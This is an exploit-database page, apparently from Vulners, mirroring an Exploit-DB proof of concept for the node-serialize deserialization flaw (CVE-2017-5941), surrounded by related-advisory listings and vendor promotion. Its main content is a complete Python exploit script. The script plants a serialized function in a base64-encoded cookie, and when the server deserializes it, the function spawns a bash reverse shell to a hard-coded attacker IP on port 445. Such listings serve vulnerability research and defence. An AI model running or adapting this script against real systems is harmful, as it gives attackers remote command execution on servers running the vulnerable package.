Lucene search
K

Node.JS - 'node-serialize' Remote Code Execution (2)

🗓️ 10 Feb 2021 00:00:00Reported by UndeadLarvaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 282 Views

Node.JS 'node-serialize' Remote Code Execution CVE-2017-594

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Node.JS - (node-serialize) Remote Code Execution Exploit (3)
18 Jun 202100:00
zdt
Circl
CVE-2017-5941
12 Oct 202515:00
circl
CNVD
Node-serialize Package For Node.js 'unserialize()' Function Arbitrary Code Execution Vulnerability
13 Feb 201700:00
cnvd
Check Point Advisories
Node.js Remote Code Execution (CVE-2017-5941)
24 Feb 202100:00
checkpoint_advisories
CVE
CVE-2017-5941
9 Feb 201719:00
cve
Cvelist
CVE-2017-5941
9 Feb 201719:00
cvelist
Github Security Blog
Code Execution through IIFE in node-serialize
18 Jul 201818:27
github
Node.js
Code Execution through IIFE
9 Feb 201716:30
nodejs
NVD
CVE-2017-5941
9 Feb 201719:59
nvd
OSV
CVE-2017-5941
9 Feb 201719:59
osv
Rows per page
# Exploit Title: Node.JS - 'node-serialize' Remote Code Execution (2)
# Exploit Author: UndeadLarva
# Software Link: https://www.npmjs.com/package/node-serialize
# Version: 0.0.4
# CVE: CVE-2017-5941

import requests
import re
import base64
import sys

url = 'http://192.168.100.133:8000/' # change this

payload = ("require('http').ServerResponse.prototype.end = (function (end) {"
"return function () {"
"['close', 'connect', 'data', 'drain', 'end', 'error', 'lookup', 'timeout', ''].forEach(this.socket.removeAllListeners.bind(this.socket));"
"console.log('still inside');"
"const { exec } = require('child_process');"
"exec('bash -i >& /dev/tcp/192.168.200.5/445 0>&1');" # change this
"}"
"})(require('http').ServerResponse.prototype.end)")

# rce = "_$$ND_FUNC$$_process.exit(0)"
# code ="_$$ND_FUNC$$_console.log('behind you')"
code = "_$$ND_FUNC$$_" + payload

string = '{"username":"TheUndead","country":"worldwide","city":"Tyr", "exec": "'+code+'"}'

cookie = {'profile':base64.b64encode(string)}

try:
    response = requests.get(url, cookies=cookie).text
    print response
except requests.exceptions.RequestException as e:
    print('Oops!')
    sys.exit(1)

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

10 Feb 2021 00:00Current
9.6High risk
Vulners AI Score9.6
CVSS 27.5
CVSS 3.19.8
EPSS0.60415
282